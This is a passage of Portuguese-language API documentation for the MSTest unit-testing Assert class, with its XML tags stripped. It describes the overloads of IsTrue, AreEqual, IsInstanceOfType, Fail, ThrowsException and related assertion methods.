nova instância da classe . - - A mensagem. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem. - - - - Inicializa uma nova instância da classe . - - - - - Uma coleção de classes auxiliares para testar várias condições nos - testes de unidade. Se a condição testada não é atendida, uma exceção - é gerada. - - - - - Obtém uma instância singleton da funcionalidade Asserção. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testa se a condição especificada é verdadeira e gera uma exceção - se a condição é falsa. - - - A condição que o teste espera ser verdadeira. - - - Thrown if is false. - - - - - Testa se a condição especificada é verdadeira e gera uma exceção - se a condição é falsa. - - - A condição que o teste espera ser verdadeira. - - - A mensagem a ser incluída na exceção quando - é falsa. A mensagem é mostrada nos resultados de teste. - - - Thrown if is false. - - - - - Testa se a condição especificada é verdadeira e gera uma exceção - se a condição é falsa. - - - A condição que o teste espera ser verdadeira. - - - A mensagem a ser incluída na exceção quando - é falsa. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is false. - - - - - Testa se a condição especificada é falsa e gera uma exceção - se a condição é verdadeira. - - - A condição que o teste espera ser falsa. - - - Thrown if is true. - - - - - Testa se a condição especificada é falsa e gera uma exceção - se a condição é verdadeira. - - - A condição que o teste espera ser falsa. - - - A mensagem a ser incluída na exceção quando - é verdadeira. A mensagem é mostrada nos resultados de teste. - - - Thrown if is true. - - - - - Testa se a condição especificada é falsa e gera uma exceção - se a condição é verdadeira. - - - A condição que o teste espera ser falsa. - - - A mensagem a ser incluída na exceção quando - é verdadeira. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is true. - - - - - Testa se o objeto especificado é nulo e gera uma exceção - caso ele não seja. - - - O objeto que o teste espera ser nulo. - - - Thrown if is not null. - - - - - Testa se o objeto especificado é nulo e gera uma exceção - caso ele não seja. - - - O objeto que o teste espera ser nulo. - - - A mensagem a ser incluída na exceção quando - não é nulo. A mensagem é mostrada nos resultados de teste. - - - Thrown if is not null. - - - - - Testa se o objeto especificado é nulo e gera uma exceção - caso ele não seja. - - - O objeto que o teste espera ser nulo. - - - A mensagem a ser incluída na exceção quando - não é nulo. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not null. - - - - - Testa se o objeto especificado é não nulo e gera uma exceção - caso ele seja nulo. - - - O objeto que o teste espera que não seja nulo. - - - Thrown if is null. - - - - - Testa se o objeto especificado é não nulo e gera uma exceção - caso ele seja nulo. - - - O objeto que o teste espera que não seja nulo. - - - A mensagem a ser incluída na exceção quando - é nulo. A mensagem é mostrada nos resultados de teste. - - - Thrown if is null. - - - - - Testa se o objeto especificado é não nulo e gera uma exceção - caso ele seja nulo. - - - O objeto que o teste espera que não seja nulo. - - - A mensagem a ser incluída na exceção quando - é nulo. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is null. - - - - - Testa se os objetos especificados se referem ao mesmo objeto e - gera uma exceção se as duas entradas não se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if does not refer to the same object - as . - - - - - Testa se os objetos especificados se referem ao mesmo objeto e - gera uma exceção se as duas entradas não se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é o mesmo que . A mensagem é mostrada - nos resultados de teste. - - - Thrown if does not refer to the same object - as . - - - - - Testa se os objetos especificados se referem ao mesmo objeto e - gera uma exceção se as duas entradas não se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é o mesmo que . A mensagem é mostrada - nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not refer to the same object - as . - - - - - Testa se os objetos especificados se referem a objetos diferentes e - gera uma exceção se as duas entradas se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if refers to the same object - as . - - - - - Testa se os objetos especificados se referem a objetos diferentes e - gera uma exceção se as duas entradas se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é o mesmo que . A mensagem é mostrada nos - resultados de teste. - - - Thrown if refers to the same object - as . - - - - - Testa se os objetos especificados se referem a objetos diferentes e - gera uma exceção se as duas entradas se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é o mesmo que . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if refers to the same object - as . - - - - - Testa se os valores especificados são iguais e gera uma exceção - se os dois valores não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trate-se do valor esperado pelo teste. - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if is not equal to . - - - - - Testa se os valores especificados são iguais e gera uma exceção - se os dois valores não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trate-se do valor esperado pelo teste. - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se os valores especificados são iguais e gera uma exceção - se os dois valores não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trate-se do valor esperado pelo teste. - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se os valores especificados são desiguais e gera uma exceção - se os dois valores são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if is equal to . - - - - - Testa se os valores especificados são desiguais e gera uma exceção - se os dois valores são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os valores especificados são desiguais e gera uma exceção - se os dois valores são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se os objetos especificados são iguais e gera uma exceção - se os dois objetos não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do objeto esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - Thrown if is not equal to - . - - - - - Testa se os objetos especificados são iguais e gera uma exceção - se os dois objetos não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do objeto esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se os objetos especificados são iguais e gera uma exceção - se os dois objetos não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do objeto esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se os objetos especificados são desiguais e gera uma exceção - se os dois objetos são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - Thrown if is equal to . - - - - - Testa se os objetos especificados são desiguais e gera uma exceção - se os dois objetos são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os objetos especificados são desiguais e gera uma exceção - se os dois objetos são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se os floats especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro float a ser comparado. Trata-se do float esperado pelo teste. - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - Thrown if is not equal to - . - - - - - Testa se os floats especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro float a ser comparado. Trata-se do float esperado pelo teste. - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se os floats especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro float a ser comparado. Trata-se do float esperado pelo teste. - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se os floats especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro float a ser comparado. Trata-se do float que o teste espera que não - corresponda a . - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - Thrown if is equal to . - - - - - Testa se os floats especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro float a ser comparado. Trata-se do float que o teste espera que não - corresponda a . - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os floats especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro float a ser comparado. Trata-se do float que o teste espera que não - corresponda a . - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se os duplos especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo esperado pelo teste. - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - Thrown if is not equal to - . - - - - - Testa se os duplos especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo esperado pelo teste. - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is not equal to . - - - - - Testa se os duplos especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo esperado pelo teste. - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to . - - - - - Testa se os duplos especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo que o teste espera que não - corresponda a . - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - Thrown if is equal to . - - - - - Testa se os duplos especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo que o teste espera que não - corresponda a . - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os duplos especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo que o teste espera que não - corresponda a . - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se o objeto especificado é uma instância do tipo - esperado e gera uma exceção se o tipo esperado não está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que seja do tipo especificado. - - - O tipo esperado de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado é uma instância do tipo - esperado e gera uma exceção se o tipo esperado não está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que seja do tipo especificado. - - - O tipo esperado de . - - - A mensagem a ser incluída na exceção quando - não é uma instância de . A mensagem é - mostrada nos resultados de teste. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado é uma instância do tipo - esperado e gera uma exceção se o tipo esperado não está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que seja do tipo especificado. - - - O tipo esperado de . - - - A mensagem a ser incluída na exceção quando - não é uma instância de . A mensagem é - mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado não é uma instância do tipo - incorreto e gera uma exceção se o tipo especificado está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que não seja do tipo especificado. - - - O tipo que não deve ser. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado não é uma instância do tipo - incorreto e gera uma exceção se o tipo especificado está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que não seja do tipo especificado. - - - O tipo que não deve ser. - - - A mensagem a ser incluída na exceção quando - é uma instância de . A mensagem é mostrada - nos resultados de teste. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado não é uma instância do tipo - incorreto e gera uma exceção se o tipo especificado está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que não seja do tipo especificado. - - - O tipo que não deve ser. - - - A mensagem a ser incluída na exceção quando - é uma instância de . A mensagem é mostrada - nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Gera uma AssertFailedException. - - - Always thrown. - - - - - Gera uma AssertFailedException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Always thrown. - - - - - Gera uma AssertFailedException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Always thrown. - - - - - Gera uma AssertInconclusiveException. - - - Always thrown. - - - - - Gera uma AssertInconclusiveException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Always thrown. - - - - - Gera uma AssertInconclusiveException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Always thrown. - - - - - Os métodos estático igual a sobrecargas são usados para comparar instâncias de dois tipos em relação à igualdade de - referência. Esse método não deve ser usado para comparar a igualdade de - duas instâncias. Esse objeto sempre gerará Assert.Fail. Use - Assert.AreEqual e sobrecargas associadas nos testes de unidade. - - Objeto A - Objeto B - Sempre falso. - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O executando o representante. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera AssertFailedException se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - Delegado ao código a ser testado e que é esperado que gere exceção. - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - O executando o representante. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera AssertFailedException se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - Delegado ao código a ser testado e que é esperado que gere exceção. - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Uma matriz de parâmetros a serem usados ao formatar . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - O executando o representante. - - - - - Substitui os caracteres nulos ('\0') por "\\0". - - - A cadeia de caracteres a ser pesquisada. - - - A cadeia de caracteres convertida com os caracteres nulos substituídos por "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Função auxiliar que cria e gera uma AssertionFailedException - - - nome da asserção que gera uma exceção - - - mensagem que descreve as condições da falha de asserção - - - Os parâmetros. - - - - - Verifica o parâmetro das condições válidas - - - O parâmetro. - - - O Nome da asserção. - - - nome do parâmetro - - - mensagem da exceção de parâmetro inválido - - - Os parâmetros. - - - - - 